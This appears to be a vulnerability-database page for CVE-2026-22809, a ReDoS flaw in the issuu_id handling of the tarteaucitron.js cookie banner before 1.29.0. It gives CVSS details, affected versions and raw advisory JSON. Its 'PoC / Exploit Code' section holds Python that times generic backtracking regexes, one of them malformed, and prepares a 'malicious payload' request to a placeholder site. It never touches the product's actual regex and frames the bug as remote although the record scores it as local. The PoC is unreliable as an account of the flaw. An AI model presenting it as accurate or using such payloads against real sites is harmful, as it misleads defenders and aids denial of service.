Security Vulnerability Report
中文
CVE-2026-22809 CVSS 4.4 MEDIUM

CVE-2026-22809

Published: 2026-01-13 20:16:11
Last Modified: 2026-01-20 16:49:02

Description

tarteaucitron.js is a compliant and accessible cookie banner. Prior to 1.29.0, a Regular Expression Denial of Service (ReDoS) vulnerability was identified in tarteaucitron.js in the handling of the issuu_id parameter. This vulnerability is fixed in 1.29.0.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:amauri:tarteaucitronjs:*:*:*:*:*:node.js:*:* - VULNERABLE
tarteaucitron.js < 1.29.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import re import time import requests # PoC for CVE-2026-22809 ReDoS in tarteaucitron.js issuu_id parameter # This demonstrates the catastrophic backtracking in vulnerable regex patterns # Simulating the vulnerable regex pattern (typical ReDoS pattern) def test_redos_pattern(): # Common vulnerable patterns that cause ReDoS vulnerable_patterns = [ r'(a+)+$', # Nested quantifiers r'(a|a)+$', # Overlapping alternatives r'(.*a){n}$', # Nested quantifiers with greedy .* ] # Malicious input that triggers catastrophic backtracking malicious_input = 'aaaa' + 'a' * 10 # Pattern that causes exponential backtracking print(f"Testing ReDoS vulnerability with input: {malicious_input}") print(f"Input length: {len(malicious_input)}") for pattern in vulnerable_patterns: print(f"\nTesting pattern: {pattern}") start_time = time.time() try: # This will cause significant delay with catastrophic backtracking result = re.match(pattern, malicious_input) elapsed = time.time() - start_time print(f"Match result: {result}, Time: {elapsed:.4f}s") except: print("Regex processing failed or timed out") # HTTP request simulation for exploiting the vulnerability def exploit_via_http(): """ Simulates HTTP request to trigger ReDoS in issuu_id parameter Target: https://vulnerable-site.com/tarteaucitron.js """ target_url = "https://vulnerable-site.com/api/issuu" # Malicious payload designed to trigger ReDoS malicious_payload = { "issuu_id": "a" * 30, # Payload that triggers catastrophic backtracking "action": "embed" } print(f"\n[!] Sending malicious request to {target_url}") print(f"[!] Payload: issuu_id = {malicious_payload['issuu_id']}") print("[!] This request may cause server resource exhaustion") # Note: Actual exploitation requires authenticated access to issuu_id parameter # return requests.post(target_url, data=malicious_payload) if __name__ == "__main__": print("=" * 60) print("CVE-2026-22809 PoC - ReDoS in tarteaucitron.js") print("=" * 60) test_redos_pattern() exploit_via_http() print("\n[*] PoC completed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22809", "sourceIdentifier": "[email protected]", "published": "2026-01-13T20:16:11.263", "lastModified": "2026-01-20T16:49:02.293", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "tarteaucitron.js is a compliant and accessible cookie banner. Prior to 1.29.0, a Regular Expression Denial of Service (ReDoS) vulnerability was identified in tarteaucitron.js in the handling of the issuu_id parameter. This vulnerability is fixed in 1.29.0."}, {"lang": "es", "value": "tarteaucitron.js es un banner de cookies conforme y accesible. Antes de la versión 1.29.0, se identificó una vulnerabilidad de denegación de servicio por expresión regular (ReDoS) en tarteaucitron.js en el manejo del parámetro issuu_id. Esta vulnerabilidad está corregida en la versión 1.29.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1333"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:amauri:tarteaucitronjs:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.29.0", "matchCriteriaId": "0BEC3231-9805-4074-93EB-2CCB444A1CA5"}]}]}], "references": [{"url": "https://github.com/AmauriC/tarteaucitron.js/commit/f0bbdac2fdf3cd24a325fc0928c0d34abf1b7b52", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/AmauriC/tarteaucitron.js/security/advisories/GHSA-q5f6-qxm2-mcqm", "source": "[email protected]", "tags": ["Vendor Advisory", "Patch"]}]}}